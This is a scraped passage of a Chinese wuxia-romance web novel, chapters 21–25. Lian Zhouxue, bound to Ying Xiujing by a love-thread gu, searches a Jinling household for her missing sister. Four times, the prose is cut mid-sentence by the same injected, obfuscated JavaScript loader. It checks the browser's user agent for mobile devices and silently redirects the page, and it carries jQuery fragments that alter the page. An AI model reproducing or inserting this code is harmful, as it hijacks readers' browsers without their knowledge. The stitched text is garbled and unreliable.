“你不是想去陆家看看吗?”连舟雪问。 赤瑶“嘁”了声,“去蹭饭可以,别的没什么兴趣。那位陆三小姐过生辰宴的派头已经够大了,也不缺我这么一个。” 连舟雪看向千宿,“千宿也决定了吗?” 千宿温和一笑,“阿瑶去哪儿,我便去哪儿。” 应休惊用着一种很难言说的目光朝着千宿看了眼,随后收回自己的视线。 连舟雪倒觉得挺高兴的,她从前就没怎么离开过北黎雪山,自然也没什么结交外面的朋友的机会。 这一路走来,她觉得很有意思。 “那我们就先说定了,一块儿去江南。” 连舟雪先前不觉得中了同心蛊有什么问题,反正等三日后,这蛊就能自己解开。她也不会那么无聊地想要命令或者要求应休惊做什么事,但等到晚上的时候,连舟雪就意识到问题来了。 这玩意儿本来就是南疆小年轻情侣之间的小把戏,而赤瑶当初就是想着捉弄应休惊,根本没考虑那么多。 现在连舟雪看着还跟在自己身后的应休惊,她有些头疼。 应休惊也觉得憋闷,他又不是什么色胚,这种大半夜地跟着人家姑娘身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107328|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是尾随一般,到了人家家门口的事,他可从未做过。 但现在…… 应休惊低头飞快看了眼那条缠绕在自己无名指上看不见的见鬼的姻缘线,觉得烦躁至极。没多想,应休惊已经一手凝聚内力,倏然一下就朝着指根附近用力一切。 看不见却如有实质的东西,切断总好了吧? 想将姻缘线切断的愿望是很好,但事实结局很惨淡。 几乎是在应休惊对姻缘线下手的那瞬间,两人顿时被无名指上的绳索一紧,让原本还有一丈的距离,缩短为零。 连舟雪在砸向应休惊的怀里时,只觉得脑门上触及到的胸膛很硬,她感觉自己脑门可能都已经被撞得发青,忍不住“哎哟”出声。 应休惊也被撞了个闷哼,他倒是没觉得太痛,就是觉得有些太突然,他压根就没有任何准备。 “怎么回事?”连舟雪在撞进了应休惊怀中后,反应过来后便要退出,再跟人拉开距离。但是这一次,她好像有些拉不开了。 连舟雪动了动无名指,又扯了扯,她看见应休惊的手指在随着自己的动作而动作,像是被牵丝戏的木偶人。 “不是有两丈吗?”连舟雪惊讶道,之前她跟应休惊在外面的时候,也没有靠得这般近啊。 应休惊抿唇,他也不懂。 “去找那妖女。”应休惊冷着脸说,只不过那张冷脸下面,好似杀气腾腾。 不过不需要连舟雪和应休惊主动去找赤瑶,刚才两人闹出来的动静,已经足够让赤瑶和千宿两人从房间里出来查看是什么情况。 当赤瑶看见站在客房门口的,几乎都快要抱在一起的两人,她不由乐了。 “你们该不会是想要去剪断姻缘线吧?” “哈哈哈谁想出来的馊主意?” 应休惊黑着脸,虽然不是想要剪断,但是跟想剪断也没什么太大的差别。 赤瑶还想嘲笑两句,但一对上应休惊的视线,她哪里还能不知道这“馊主意”是出自于谁?应休惊的目光像是要杀人一般,就算是她心里再怎么乐呵,也只好强迫自己把翘起来的唇角狠狠压下去。 “这同心蛊就是为了让一方完全听从另一方的话,增进感情。要是谁想要剪断这姻缘线,它就会反弹,让两人之间的距离缩短,就像是现在这样。”赤瑶解释说。 “那有什么办法可以回到之前的状态吗?”连舟雪问。 赤瑶:“哎呀,这是姻缘线的惩罚啊,当然是没有别的办法,你们这三日时间,就要被惩罚。” 应休惊:“……” 连舟雪:“……” 22. 第 22 章 一旁的千宿的脸色也不太好看,他知道这同心蛊原本是赤瑶想着捉弄应休惊,到时候可以让对方什么事情都听她的。可应休惊又怎么可能是任人宰割的人?势必也会像是先前那样,斩断束缚自己的姻缘线。 若赤瑶的计划没有出纰漏的话,他甚至都不知道等会儿两人要如何收场。 “不然,你们俩就先将就将就?”赤瑶试探着提议说。 连舟雪和应休惊两人齐刷刷地转头,望着她。 虽然两人都没有说话,但是眼神里表达出来的意思都一个样—— 怎么将就? 赤瑶干巴巴笑了两声,“就睡一起?” 连舟雪:“……” 应休惊的脸色看起来更加难看,“成何体统?” 赤瑶不满,小声嘀咕:“你还挑剔上了?舟舟都没说什么呢!就算是不愿意,也是舟舟不愿意吧?哪轮得到你说什么?” 千宿见应休惊的手已经放在了腰间,他赶紧出来打圆场,“应公子莫恼,阿瑶只是为连姑娘考虑……” 应休惊闻言,脸色这才看起来稍微好一点。 “其实阿瑶说得也不无道理,事到如今,不然二位将就一下。若是连姑娘觉得不妥当的话,我们四人今夜不然都留在会客厅里,秉烛夜谈?”千宿说,这样的话,人一多,也照顾到了连舟雪的名声。 连舟雪想了想,摇头婉拒,“无妨,反正现在船上就只有我们四人。再说,就算是今夜大家一起熬夜,那接下来的两个晚上怎么办?总不能让你们俩都跟着我们熬三个晚上吧?” 应休惊想说有何不可?在他看来,这一切都是赤瑶惹出来的祸事,就算是受罪,那也是赤瑶活该。 但同心蛊让他对连舟雪的话反驳不了半分。 连舟雪让赤瑶跟千宿两人不用担心自己,“打坐一晚上,也没关系。你们先回去休息吧,我跟应休惊对坐一晚便好。” 劝走赤瑶跟千宿后,连舟雪看向应休惊,“去你那边还是我这儿?” 应休惊自然觉得两边都不好,可如今他跟连舟雪这般模样,最后只能抬了抬下巴,“去你房间。” 连舟雪果断开门,率先走进去。 应休惊倒是想要落后一步,奈何姻缘线令他不得不几乎紧贴着连舟雪的后背一同走进房间里。 这么近的距离,应休惊唇角绷得更紧了。 连舟雪的房间里很干净,几乎是她住进来之前是什么样,现在也还是什么样,没有别的多余的东西。 房间里有一张桌子两条凳子,“今晚就在这儿休息一晚?”连舟雪说这话的时候,已经坐在其中一条凳子上。 应休惊:“你不想睡觉?” “我睡觉你怎么办?”连舟雪问。 应休惊抿唇,“我在外面守着。” 连舟雪挑眉,她抬了抬手,示意对方两人之间还有姻缘线,他能去哪个外面? 应休惊:“你先起来。” 说完这话后,应休惊就朝外走去。 他先去自己房间,将那床上挂着的幔帐取下来,然后抱着走到连舟雪房间。 拆开幔帐,应休惊直接将其作成一道帘子,挂在了连舟雪床沿上方。 连舟雪惊讶道:“你什么时候还在房间里买了这些?” 她非常确信之前船上可都没有。 应休惊:“上次下船的时候。” 连舟雪:“……” 她确信这位是真少爷,在某些方面,活得还真是很精致,她比不上。 应休惊做完这一切后,示意连舟雪上去躺一躺,“你睡觉,我守在外面。” 连舟雪“啊”了声,“我还以为你想要睡觉。” 不知道是不是她的错觉,她总觉得自己在说完这话后,房间里的温度好像都低了好几度,有些冷。 抬头再看向应休惊,果然,这人的脸色又变得不大好看。 连舟雪摸不着头脑,但是现在应休惊已经转过头,不想理会她,直接坐在了脚踏处,盘着腿,看起来像是入定。 “应休惊?”连舟雪试探着叫了两声人,奈何坐下来的人根本就没睁开眼回应她的意思。 连舟雪:“……” 她弄不明白应休惊不高兴的原因,又不想让应休惊先前这一通忙碌白费,只好自己躺下,闭上了眼睛。 在连舟雪上床后,在原地看似打坐的人就睁开了眼睛。 应休惊知道连舟雪心大,但没想到这人能心大到眼下这种程度。 都还没去过半刻钟的时间,他耳边已经传来了均匀的呼吸声。 他唇角刚勾了勾,但脑子里忽然蹦出来“如果今日连舟雪不是跟自己一起中了同心蛊是不是也会这样心大”的可能时,应休惊又觉得自己的心情不是那么好了。 尤家在金陵。 如今被叛军打到南边的大越皇室,也将金陵选做皇朝中枢。 金陵自是很繁华。 从船上下来后,连舟雪等人就感觉到什么叫摩肩接踵,人潮挤挤。 “这就是金陵吗?”赤瑶站在一旁,瞪大了眼睛看着不远处的街市。在她的视线里,有各色不同的幌子随风飘扬,酒肆茶馆比比皆是,街上小贩叫卖的声音,也不绝于耳,热闹的气息几乎扑面而来。 连舟雪眼中也露出了好奇,北黎雪山四周环境都很恶劣,寻常人都不会到的地方,也就只有少数祖祖辈辈世代在此的土著百姓。那样的苦寒之地,自然是见不到金陵这般繁华的景象。 “现在还早,不如午时,我们就在那最高的摘星楼集合,如何?”连舟雪看出来了赤瑶眼中的跃跃欲试,她主动开口提议道。 赤瑶忙不迭点头,“好啊好啊!” 四个人分成两队,千宿自然是跟在赤瑶身边,陪着后者去逛集市。 应休惊看向身边的人,“现在去尤家?”他问。 连舟雪惊讶抬头,“你都猜到了?” 应休惊“嗯”了声,在连舟雪说出大家中午的时候再集合的时候,他就已经猜到连舟雪肯定是要先去处理正事。 连舟雪有点不好意思,“还要连累你一起……” 应休惊朝着两人的手上看了眼,这几日他都跟连舟雪这般近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107329|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的距离。从最开始的不习惯,到现在,好像也渐渐变得习惯起来。 尤家是江南世族,在当地很有名望。 连舟雪在包子铺问了卖包子的大娘,很快就跟应休惊两人到了尤家门口。 尤家在杏花胡同,这条胡同里一共就只有两户人家,看起来都是高门大户。 朱漆大门巍峨耸立,门口还有两尊石狮子,台阶用的是青石板,看起来光滑锃亮,门房两位,身上的衣袍看起来也是簇新簇新的,跟一般人家的服侍的下人都有天壤之别。 着实很气派。 连舟雪上前,递上连家的信物,“连家连舟雪,求见尤家家主。” 都说这是世家豪门的门房都是不好招惹的,不过尤家的门房看起来倒是老实谨慎。 “姑娘请在此稍等片刻,容小的去禀告管事。” 连舟雪点点头,没一会儿,一个中年管事走了出来。 对方在见到连舟雪时,刚才门房来通禀时,他原本以为是连家的长辈,没想到下山的竟然是这么一位年轻的姑娘。 “连姑娘。”管事主动冲着连舟雪拱了拱手,随后道:“连姑娘请随我来。” 连舟雪点头,跟应休惊抬步准备跨过门槛。 管事见状,不动声色地皱了皱眉头,“连姑娘,敢问您身边这位是……?” 连舟雪听出来对方言辞之间的拒绝之意,她脑子里转得飞快,直接脱口道:“这是我师兄。” 这话让应休惊侧目,而那管事听到这回答,还没来得及说什么,就听见连舟雪的声音再次传来。 “此番出门,我爹特意让师兄跟在我身边,说有什么事情,我只管同师兄商量。” 管事微微一笑,“好的,那两位请随我来。” 说着这话,管事忍不住朝应休惊脸上多看了一眼。 这位连姑娘的师兄,未免太俊俏了,以至于他最开始完全都没将对方当做江湖人。 连舟雪同应休惊被引到尤家接待客人的花厅,有小丫头过来奉茶。 管事:“我就老爷还在书房处理点正事儿,还烦请连姑娘和这位公子稍等片刻。” 管事说完这话后便离开,连舟雪打量着花厅的陈设。 屋内陈设雅致,墙壁上挂着一幅寒冬泛舟图,看起来应该是出自哪位大家之手。 连舟雪是不太懂这些玩意儿的,不过她身边还有个应休惊。 “这是王绪大师的真迹。”应休惊见连舟雪的眼神一直落在墙壁上的那幅画上,开口道:“王绪是前朝的宫廷画师,最是擅长山水。他的大多数画卷,都留存在皇宫。尤家能得这么一幅,显然很是受皇室器重。” 这幅画挂在待客用的花厅里,意思很明显。 尤家这是要让所有做客的人都清楚他们在皇帝心中的分量。 同样的,能将这么珍贵的一幅画拿出来随便挂在此地,也能让人看出来尤家富泽,如此名家之作,也毫不在意与人共赏,不屑于藏起来,独自欣赏。 连舟雪“哦”了声,“我家也有一小小的湖泊,冬日下雪,那湖面也是不结冰的。” 23. 第 23 章 她哪里是欣赏名家大作,不过是因为看见这幅画,忽然想到了家里,有些想家了。 先前连舟雪在下山之前,觉得南下的路上一定会很有意思。但等到了江南后,她发现有意思的确是有意思的,但想家也是真的。 “连画楼都已经一年多没回家,她难道都不想家的吗?”连舟雪低低开口道。 应休惊能听出来连舟雪这话并不是问自己,他想了想,还是回应道:“或许她在外面玩累了,现在已经在回家的路上。” 连舟雪闻言,“但愿如此。” 门口站着茶水丫头,连舟雪听到耳边似有丝竹管弦之音,连舟雪好奇问道:“贵府上是有什么喜事吗?” 门口的两个丫头得了管事的交代,要好生招待花厅里的客人。 闻言,其中一小丫头道:“回姑娘的话,这不是我们府上的乐声,是隔壁陆府办喜事儿,最近都敲锣打鼓的,热闹得很。” 连舟雪心头一动,“陆府?难道是那个在江湖上鼎鼎有名的陆家吗?” 小丫鬟点点头,“对呀,就是那陆府,最近是三小姐的生辰宴,每年这时候,陆府都热闹得很呢!就连我们府上的公子小姐,也会去庆祝三小姐的生辰。” 连舟雪跟应休惊对视一眼,两人虽然知道陆家也在金陵,但没想到陆家竟然跟尤家竟是两邻居,就一墙之隔。更没想到,这两家的关系看起来还很不错。 “陆家原来也是在这里的吗?”连舟雪露出些好奇。 “是的,陆老爷一家祖祖辈辈都在杏花胡同。不过,从前陆家没那么大的院子,如今这院子也是后来才扩张的。杏花胡同从前一共是三户人家,现在只有我们尤家跟陆家。”小丫头回答道,说到杏花胡同只有尤陆两家时,她脸上也露出了与有荣焉的表情。 她是尤家的家生子,尤家好,她才能好。 连舟雪并不在意陆家如今是有多如日中天,她想,当初父亲让连画楼带着信物下山送到尤家时,父亲知道尤家跟陆家是两邻居吗?或者说,父亲知道这两家的关系还很不错吗? 尤家那位管事没有敷衍连舟雪,她们还没有喝完一盏茶,从外面的小路上,就有人走了过来。 来人穿着一身深褐色的锦缎长袍,上面似有祥云和瑞兽的暗纹,腰间系着一条镶嵌着珠玉的宽腰带,脚下踏着一双鹿皮靴,面容沉稳威严,一看就知道是久居上位沉淀出来的气势。 连舟雪便猜到来人便是如今的尤家家主尤思北。 “想必这位就是连姑娘?”尤思北进门后,脸上就换上了和煦的笑容,“不知连先生可还安好?” 连舟雪起身,对对方行了晚辈礼,“多谢尤大人挂念,家父一切安好。此番晚辈前来,多有叨扰,不过,事关家姐,晚辈心急如焚,还请尤大人多多担待。” 尤思北目露惊讶,“令姊?这是怎么回事?” 连舟雪:“一年前,长姐奉父亲之命下山,前往中原,给贵府送来一件信物,不知道尤大人可有收到?” 尤思北更是惊讶,“难道此番连姑娘不是来送信物的吗?” 连舟雪抿唇,摇头。 “老夫还有些诧异,毕竟连先生早些时候就来了信,信中谈及会送来一物,还说老夫若是见了,就知道那是何物。奈何这信件是一年前收到的,却始终不见连姑娘的身影。老夫也怀疑过是不是其中出了什么岔子,但北黎雪山可不是人人都能去的,老夫送出去的信,你父亲大抵是没有收到吧?” 尤思北脸上露出一抹焦虑,又叹气道:“如今战事四起,若是信件在中途丢失,也不是没可能。” 连舟雪肃着一张脸,“所以,尤大人并未见过家姐?” 尤思北摇头,“令姊的确未曾来过尤家,连姑娘,令尊有告诉过你令姊原本是要带什么东西过来吗?” 他跟连家的关系算不得亲厚,连父在信件中也未曾说明白,他也是一头雾水。 连舟雪摇摇头,“晚辈也不知,这些事情是父亲私下里告诉家姐,并未告知于晚辈。” 她神色有些黯然,万万没想到连画楼根本就没有到尤家。 那连画楼会去哪里呢? 尤思北宽慰道:“连姑娘倒也不用太担心,令姊吉人自有天相,断然不会有什么事的。可能路上因为什么耽搁了,这才没及时赶到。” 连舟雪没吭声,她原本以为到了尤家,就能知道连画楼的行踪,但没想到,却像是竹篮打水一场空一般,她甚至都不知道接下来能继续去哪儿寻连画楼的踪迹。 “一路南下,连姑娘想来也是辛苦了。若是连姑娘不嫌弃的话,就同这位公子一同先在府上歇下?休整好再离开?既然都来了金陵,也要好生游玩一番再回去吧?”尤思北提议道。 对两个从前未曾谋面的晚辈,他也算是很关照。 连舟雪下意识想拒绝,但这时候,作为连舟雪的“师兄”的应休惊主动站出来,“那就麻烦尤大人了。” 连舟雪在被尤家的小丫鬟带到了客房后,这才看向应休惊,问:“留在尤家做什么?不是还要跟阿瑶和千宿他们会合吗?” 应休惊:“你留下来又不一定要一直住在这儿,再说了,你不是觉得那姓尤的有问题吗?” 连舟雪:“你知道?” 应休惊:“具体的把柄是没有,但既然纯阳派那么多人都说他们那小师兄就是在去见了陆家的人后,才有了你长姐的符箓,想来很有可能,你长姐当时有出现在金陵。既然这样,尤家的人说从未见过你长姐,这话的真实性存疑。” 连舟雪的确不是特别相信尤思北的话,但是她如今手里也没有任何证据能证明对方在说谎。 所以,刚才尤思北在问自己知不知道连画楼究竟是要送什么来的时候,她说不知道。 但这一次下山,她的任务不仅仅是要找回连画楼,还要将当初连画楼带走的东西找到。 先前尤思北见她回答不知道的时候,虽然不说是松了一口气,但似乎也没有特别好奇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15112236|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道真是因为两家先前并没有什么交集,所以尤思北才不怎么在意吗? 连舟雪不怎么相信。 “留在尤家,你要如何?”连舟雪看着应休惊现在压根就没有戴面具的那张脸,“你明知道隔壁就是陆家的人,你还真是不怕?” 旁人可能不认识应休惊,那陆家的人呢? 应休惊扯了扯唇角,饶有兴致地看着跟前的人,“你担心我?” 连舟雪:“……” 应休惊:“放心吧,就算是陆家的人,也没几个见过我真实的模样。” 他从前的身份可不是能见这些“大人物”的。 眼看着就要到午时,连舟雪借口坐不住,想要去外面寻问连画楼的踪迹,没有留在尤府用膳。 到摘星楼时,赤瑶和千宿已经在雅间等着两人。 连舟雪推门进去的时候,坐在窗户边上的赤瑶眼睛一亮,她拍着自己的胸口,“吓死我了,我还以为舟舟你们不来了呢!” 连舟雪笑着坐下道:“怎么会?” 赤瑶的注意力很快转移,“你们逛了一上午都没有买什么东西吗?” 她可买了不少,尤其是新衣服。 中原人穿的衣服的花样可真多,她一进成衣铺子,就被迷花了眼睛,一上午的时间,几乎都在成衣铺子,挑选了不少新衣服。 出来后,街上还有各式各样的小吃,像是什么定胜糕,什么梅花糕,什么桂花糖,太多太多,她都打包买了不少。 连舟雪脸上的笑容稍微收敛了些,“嗯,还没来得及。” 千宿倒是看出了些苗头,伸手拉了拉赤瑶,示意对方别问太多。 在此之前,他就听连舟雪说过,此番下江南,她是去找人。 “不知道连姑娘想找的人可有找到?”千宿不动声色地给两人倒了茶。 这动作,引得应休惊挑眉。 千宿对上后者眼神,有些无奈道:“应公子大可放心,我没阿瑶那么调皮,这茶水没任何问题。” 这话一出,赤瑶立马踢了身边的人一脚,不满瞪着千宿。这不是哪壶不开提哪壶吗? 连舟雪已经端起来茶杯,喝了一口,“没有消息。”她这话是回答千宿先前的话,“茫茫人海,没一点线索。” 赤瑶本来还想要跟千宿斗嘴,一听到连舟雪这话,顿时将注意力从千宿身上收了回来,“舟舟,你想找谁?”她想了想,“如果最近她有出现在这里的话,我可以用追踪蝶看看能不能帮你找到人。” 连舟雪抬头,“追踪蝶?” 赤瑶点头,“需要你手边有你想要寻找的人的贴身物件,如果最近几日对方在周围的话,追踪蝶可以寻到大概方位。只不过,我那追踪蝶在南疆的时候是挺好用的,那是我们南疆也没你们中原这么多人。所以,我也不确定在金陵用追踪蝶有没有作用。” 连舟雪如今一点头绪都没有,听到赤瑶这话,眼里闪过一丝惊喜。 “有的!”她忙不迭开口。 24. 第 24 章 连舟雪想要拒绝的两个小丫鬟,最终还是被留了下来。 大户人家自然跟她们连家庄不同,规矩森严,若是不给客人安排差遣的小厮和丫鬟,那就是失礼。 连舟雪推拒不了,只能入乡随俗。 尤大少奶奶如今掌管尤家中馈,整日里都很忙碌,能亲自带着小丫鬟过来在连舟雪这儿坐一遭,已经很给面子。 虽都为女子,但两人从小经历相差甚远,尤大少奶奶也没有坐多久,就告辞。 连舟雪刚松了一口气,起身微笑送人。她跟这些高门贵女也着实无话可说,若不是因为来寻连画楼这一遭,她这辈子可能都不会跟这些女子有什么交集。 只不过连舟雪这口气松得太早,尤大少奶奶刚离开不久,二少奶奶就带着人过来了。 连舟雪无意窥探人家小夫妻之间的秘密,她微笑将尤二少奶奶迎进房间。 尤二少奶奶没有送人过来,安排府中人员调动派遣的,那是宗妇才有的资格。 “听闻连姑娘是第一次来金陵,我便想着给连姑娘送来些金陵城特有的小零嘴儿。连姑娘看看合不合乎您的口味,若是还有什么需要的,姑娘可以安排府上的下人去做。”尤二少奶奶温和道。 只是从面相和声音来看的话,这位尤家的二少奶奶当真是个温和柔软的人。连舟雪第一次知道,原来听美人讲话也是一种享受。 只不过美人最后一句话的意思已经很明显,差不多就是明摆着告诉连舟雪,自己不是管事的,在府上遇见什么麻烦事儿,也不用找自己。她今天过来,可能就是大户人家的礼节,走个过场而已。 连舟雪笑笑,表示知道了。 “二少奶奶对金陵很熟悉吗?”连舟雪装作什么都不知道一样,随口问。 坐在她对面的女子温婉一笑,点点头,“我本就是金陵人士。”或许是想到了自己的少女时代,尤家这位二少奶奶不由多说了两句,“从前还没嫁人时,我便最喜欢跟好友一块儿上街逛一逛,瞒着家里人在小摊上吃吃喝喝。” 那应该是一段很无忧无虑的少女时光。 连舟雪能想象出来,“原来是这样,金陵真繁华,在我们北黎雪山,可从来看不到这般景色。我年幼的时候,跟着长姐去过山下的集市,也没有这般热闹。” 连舟雪说这话的时候,注意观察着尤二少奶奶的神色。 整个尤家的人她还没有见完,但她觉得这位二少奶奶是个很好的突破口。 一个从小养尊处优,几乎没有什么烦恼的女子,嫁给自己的竹马未婚夫,按理说应该是琴瑟和谐,举案齐眉,但现在这位尤二少奶奶更像是哑巴吃黄连。 甚至,都不敢同娘家诉苦。就连从前的闺蜜,都恨不得瞒着。 这样的人,恐怕对尤家不是那么一心一意。 再加上这位二少奶奶,性情温顺,这一点,几乎是全尤府的人都公认的事。 连舟雪就是看中这两点,所以特意主动跟人攀谈,多交流了两句。 果然,当她提到自家长姐的时候,尤二少奶奶眼神微微一动。 尤家的人应该都知道她是来寻家中长姐,若是真不认识连画楼,现在应该是无动于衷才对。 不过这点神色的变化,尤二少奶奶很快就掩饰了过去。 “连姑娘跟令姊的关系一定很好吧,听闻连姑娘是来寻亲的?希望连姑娘能尽早得偿所愿。”尤二少奶奶嘴角挂着一抹浅淡的笑。 只是听声音的话,大约都会觉得这话很真诚。 连舟雪:“但愿如此,这一年多她都没有消息,把我和父亲都急坏了。哦对了,还有我师兄。” 尤二少奶奶不再讲话,没多久,这位二少奶奶便告辞。 连舟雪将人送走后,脸上顿时少了几分笑意。 她现在已经有五分的确定,连画楼是来过尤家。 翌日,连舟雪起来后,先在院中练了一套剑法,随后进屋洗漱。 尤大少奶奶安排的小丫鬟个个手脚麻利。 连舟雪状似随口问:“你们府上的二少奶奶,是不是个脾气顶好的人?” 小丫鬟点头,“二少奶奶为人温和,几乎从来不会对我们这些下人发脾气,府上的人都很喜欢她。” “听说她跟二少爷是青梅竹马?” 小丫鬟很乐意跟连舟雪分享这些事,这些在府上不算是什么大秘密,但对于外来客连舟雪而言,却是不知道的,小丫鬟是觉得有了自己能表现的机会,很是积极。 “对呀,我们家二少爷跟二少奶奶关系很好的,在整个金陵城,都是有名的金童玉女。其实二少奶奶从前也住在杏花胡同,但后来,程老爷致仕,离开金陵,二少奶奶也才跟着离开。不过,没几年,二少奶奶就嫁给了我们家少爷,又回来了。” 尤二少奶奶娘家姓程,她本名程骊珠,在从前,就是金陵城里的才女。 “既然这胡同里曾经是有程家的宅子,那现在怎么就只有两户人家?”连舟雪好奇问。 小丫鬟:“因为被陆三小姐买了呀!” 连舟雪:“?陆家不是有宅子吗?” “陆三小姐出手大方,她看上了二少奶奶家里从前的房子,正好程家也同意,就买了下来。”小丫鬟理所当然道。 连舟雪低头琢磨了片刻,觉得有什么地方不太对劲儿。 “那陆家的三小姐,岂不是也从小就认识你家二少爷和二少奶奶?”连舟雪问。 小丫鬟想了想,然后摇头,“应该不是吧?”小丫鬟忽然压低了声音,小声道:“从前陆府只是商户出身,但是我们家老爷和程老爷,都是有功名在身,三家人虽然住在一个胡同巷子里,但实际上,两家跟陆府没多少走动。” 连舟雪对朝堂之事并不了解,只不过在听完小丫鬟这话后,她心里的古怪之意越发明显。 “这话的确没错,陆府是武林世家,从前靠着祖产,一直都是江南一带的富户。尤家和程家看不上他们,毕竟,权贵世族和清流,本来就跟江湖人之间泾渭分明。” 在茶楼,应休惊坐在连舟雪对面,听她提到尤程陆三家的过往时,开口解释说。 “但随着大越皇室无能,龟缩南下后,明面上想要江南富户捐款,将陆家女迎进宫门,陆家虽然没有人在朝中任职,但显然陆家的门第,已经今时不同往日。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15117273|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这也是为什么如今陆家跟尤家至少在外人眼中是交好的局面。 赤瑶戳了个桌上的樱桃果脯,她满足地点头,觉得金陵城的东西可真是都太好吃了。 听到应休惊说到这里时,她开口疑惑道:“所以,这尤家的那什么二少爷,应该是不仅仅跟他现在的夫人是青梅竹马,跟那陆家的三小姐也算是青梅竹马吧?” 桌上的其余三人还在为了陆家的人这般汲汲而营,还真扶摇直上而感慨,赤瑶这番话,直接让在场的几个人愣了愣。 他们倒是没有关注这么多。 赤瑶看着身边三人呆滞的模样,还有些意犹未尽地舔了舔刚才的小叉子,“你们这么看着我做什么?我说的难道不对吗?反正那程家的人后来都搬走了,这几年,跟尤二在一起的,难道不应该是那陆三小姐?那陆家三小姐,不是去年才及笄吗?算一算年龄,这也能叫青梅竹马吧?” 反正跟她一起从小长大的,就只有千宿,而千宿身边也没有别的什么小青梅。 这么想一想的话,赤瑶忍不住又开口:“那这程姑娘多吃亏啊,要是千宿还有别的青梅,我必须也要有别的竹马!” 反正,千宿要是背着她有了别的狗,她是肯定不会高兴的。 连舟雪闷笑出声,应休惊继续面无表情,不过余光还是扫到了千宿身上。 至于千宿,此刻的脸都黑了。 笑闹后,连舟雪开口:“其实我觉得阿瑶说得挺有道理。” 那位尤二少奶奶,从前是才女,后来因为父亲致仕,这才离开杏花胡同。后者温和,但也同样敏感,难道真的不会有什么想法吗? 应休惊之前没有对赤瑶的话表态,但在连舟雪说完后,他适当补充道:“而且你们不觉得奇怪吗?程家的老爷就算是离开官场,但程家跟尤家一样,祖祖辈辈都是金陵人。那杏花胡同的宅院,也算是老宅,为什么致仕后,举家搬迁?连房子都要卖了?” 不论是中原人,还是南疆人,都是讲究落叶归根。 百姓世代居于一方,鲜少有人愿意举家搬迁。 应休惊抛出来的这个问题,让连舟雪三个人都沉默了好一阵。 他们也想不到为什么。 “那等会儿我跟千宿再去打听打听程家的事儿?如果这事情有些内幕,可能靠你们在尤家也打听不出来什么。”赤瑶说,她觉得中原人虚伪,而那些当官的中原人,更虚伪,她反正不喜欢。 连舟雪点点头,“这样也好。” “对了。”千宿说,“昨日我们不是去街上打听令姊的消息吗?茫茫人海,我们暂时还没有什么消息。” 连舟雪“嗯”了声,“多谢,现在反正都已经到了金陵,找人这事儿的,估计就凭着我们四个人,人手不够,一时半会儿肯定是没什么消息的。” 在经过昨天的失望后,连舟雪已经渐渐摆正了心态。 人她一定是要找的,但找人这种事,也不是她表现得越积极就越是有效果。 应休惊在听见连舟雪这话后,眼底又浮现出昨日的那几分欲言又止。 但最终,他想了想,还是什么都没有说。 25. 第 25 章 千宿算是剩余三个人里比较细致敏感的那一类人,在连舟雪和赤瑶都还没有发现应休惊的异常时,千宿已经看出来了些不同。 等到四个人下楼时,千宿刻意走在了后面一点,跟应休惊并肩而行。 “先前应公子是不是想要说什么?”千宿低声问。 应休惊没多少意外自己在那片刻间露出来的犹豫被千宿发现,他抿了抿唇,“算了,这事等之后再说吧。” 他现在若是讲出来的话,可能反而不妥。 千宿闻言,叹了一口气,他其实已经猜出来了点应休惊想说什么,但应休惊现在的担心不无道理。 如果真是那样的话,现在最好什么都不要说。 “后天咱们陆家宴会上再见。”分开的时候,赤瑶伸手摇了摇,冲着连舟雪跟应休惊告别。 连舟雪微微颔首,转身消失在人海中。 应休惊说要带着她去一个地方。 虽然不知道是什么,但连舟雪仍旧很信任地跟在他身后。 等到了目的地时,连舟雪那双眼睛就瞪大了。 她转头,颇为不可思议地盯着身边的男人,一脸不可置信。 “你说要带我来个好地方,就是这儿?” 应休惊带着她走过了先前吃茶的地方,但是还要再前面一点。 秦淮河边上。 花船。 这里白天很安静,到了晚上,却是整个金陵城最热闹的地方。 应休惊被连舟雪这么盯着,脸上也没有见丝毫不好意思。 